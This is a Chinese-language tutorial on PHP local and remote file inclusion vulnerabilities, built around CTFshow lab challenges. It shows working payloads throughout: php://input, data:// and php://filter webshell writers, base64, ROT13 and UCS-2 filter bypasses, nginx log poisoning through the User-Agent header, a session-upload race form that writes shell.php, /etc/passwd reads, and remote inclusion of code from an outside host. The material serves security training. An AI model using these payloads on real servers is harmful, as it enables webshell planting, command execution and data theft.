原理
文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在php居多,java也有较少。由编程习惯与语言特性决定
include ‘config.php’;
然后即可调用config.php所写的一系列函数
如数据库配置文件
文件包含漏洞成因
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
<?php
include($_GET['file']);
以get方式获取file值,传入file值进行文件包含(test.php中有相关函数,因此可直接调用)
http://x.x.x.x/1.php?file=test.php
当file值可控,且为恶意代码文件时,则触发文件包含漏洞
如: 111.png(包含phpinfo),则触发phpinfo 页面
注:包含文件,都是使用相应代码去直接解析执行(文件格式已经不重要了)
思考:当文件可控时 – 文件上传 – 写入恶意后门代码 -执行连接
当然,路径要写对:如:http://x.x.x.x/1.php?file=shell.png
分类
本地包含-Local File Include-LFI
包含于本服务器下
一般配合文件上传等
上传成功但连不上 -> 分站存储、解码还原、oss对象(没有权限问题,使用文件包含肯定有执行权限)
远程包含-Remote File Include-RFI
包含于其他服务器
远程包含危害更大,不需要借助文件上传等功能。
shell.png后门存在于其他服务器上,使用文件包含http://x.x.x.x/1.php?file=http://xx.xx.xx.xx/shell.png
差异原因:代码过滤和环境配置文件开关决定
配置文件:
打开php.ini配置文件,检查如下字段,on为开启
allow_url_include=On
漏洞发现
白盒审计:(CTFSHOW)
白盒发现:
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒分析:
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、page、archive、eng、语言文件等相关字眼
把路径值进行替换为系统某些默认路径,看是否能读取
漏洞利用
远程包含利用思路:
直接搭建一个可访问的远程URL包含文件
本地包含利用思路
配合文件上传
无文件包含日志(需要知道路径,默认路径测试)
更改数据包,尝试将恶意代码植入日志中,包含即触发
无文件包含SESSION(需要知道路径,默认路径测试)
无文件支持伪协议利用

其中,off/on表示功能打开或关闭状态都不影响,on则为必须开启
参考:https://blog.csdn.net/unexpectedthing/article/details/121276653
- 文件读取:
file:///etc/passwd
//编码读取
php://filter/read=convert.base64-encode/resource=phpinfo.php
- 文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
文件写入看似限制条件与远程文件包含一样,但是当遇到不出网等无法使用远程文件包含的情况时,可以尝试文件写入
- 代码执行:
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
//编码形式
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
CTF方向 -解决过滤绕过
78-php&http协议
//编码读取文件
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
//执行系统命令读取文件
payload: ?file=php://input post:<?php system('tac flag.php');?>
//远程文件包含
payload: ?file=http://www.xiaodi8.com/1.txt
1.txt写入相关内容,如命令执行
<?php system('tac flag.php');?>
79-data&http协议
//代码执行,读取文件
payload: ?file=data://text/plain,<?php system('tac flag.*');?>
//可以用=代替php - 绕过
payload: ?file=data://text/plain,<?= system('tac flag.*');?>
//代码执行,读取文件(读取命令进行base64编码)- 绕过相关限制
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
//远程文件包含
payload: ?file=http://www.xiaodi8.com/1.txt
//1.txt内容 - 命令执行
<?php system('tac flag.php');?>
80,81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析网站时,发现使用nginx中间件,猜测日志文件路径为默认(不同操作系统不一样):/var/log/nginx/access.log
尝试进行文件读取,出现相关日志信息,验证猜想
?file=/var/log/nginx/access.log
发现日志记录UA信息,抓包将UA带入代码(也可以直接写入哥斯拉等的后门直接连接)
//抓包在ua加入如下代码
<?php eval($_REQUEST[x]);?>
//执行命令
?file=/var/log/nginx/access.log&x=system("ls")
?file=/var/log/nginx/access.log&x=system("tac flag.php")
87-php://filter/write&加密编码
利用base64算法:
网站进行了编码过滤urldecode(),但只解码一次,所以url编码2次,还可绕过php关键字检测:
//写入1223.php文件,使用url编码两次以下内容
php://filter/write=convert.base64-decode/resource=123.php
Payload:?file=url两次编码后的上述值
//同时对该url进行post发包,内容如下。后门代码使用base64编码
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
//在123.php下使用post请求执行
a=system("ls")
利用凯撒13算法:ROT13
//url编码2次:
php://filter/write=string.rot13/resource=2.php
Payload:?file=url两次编码后的上述值
//post发包,密码为1,后门使用凯撒13加密
content=<?cuc riny($_CBFG[1]);?>
//在2.php下使用post请求执行
1=system("ls")
88-data&base64协议
过滤PHP,各种符号(=),php代码编码写出无符号base64值
<?php system('tac *.php');echo 123;?>ad
//对如上php代码进行base64编码后没有等号,不触发过滤
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
进行UCS算法换算
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

//进行UCS换算,写入a.php
Payload:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
//写入内容(USC反转一次的值),同时使用post发包
contents=?<hp pvela$(P_SO[T]a;)>?
//在a.php下post执行
a=system("ls")
82-86-SESSION包含(需要知道session存储路径)
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
类似于文件上传的 先上传再删除操作
必须在成功上传后的极端时间内访问触发
本地实验:
创建如下html文件(记得改请求地址)
实验时要写文件包含的php文件,否则不生效
<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.10.200:7969/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
上传的同时进行抓包,在数据包中添加如下字段: 自定义session名字
Cookie: PHPSESSID=123456

然后在服务器下就可以找到以这样命名的session文件

payload:
?file=创建的session文件路径
代码只会写入session文件极短时间,然后就会被清空,必须在这个时间内访问session文件才会触发写入shell.php
参考
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
实战方向
java文件包含
不同语言支持的协议

- java中的文件包含漏洞
https://mp.weixin.qq.com/s/hMUDDgRSPY6ybznYBRZ20Q
支持 file:// 协议读取
- 黑盒挖掘:观察url命名和相关参数,发现文件包含
http://testphp.vulnweb.com/showimage.php?file=index.php
F12发现响应包中进行了php文件读取,(有PHP代码)。然后一步步寻找文件包含点,发现mysql配置文件信息
本节知识点
WEB攻防-文件包含-LFI&RFI利用思路
WEB攻防-文件上传-伪协议玩法&无文件
WEB攻防-文件上传-黑白盒案例&SRC复盘
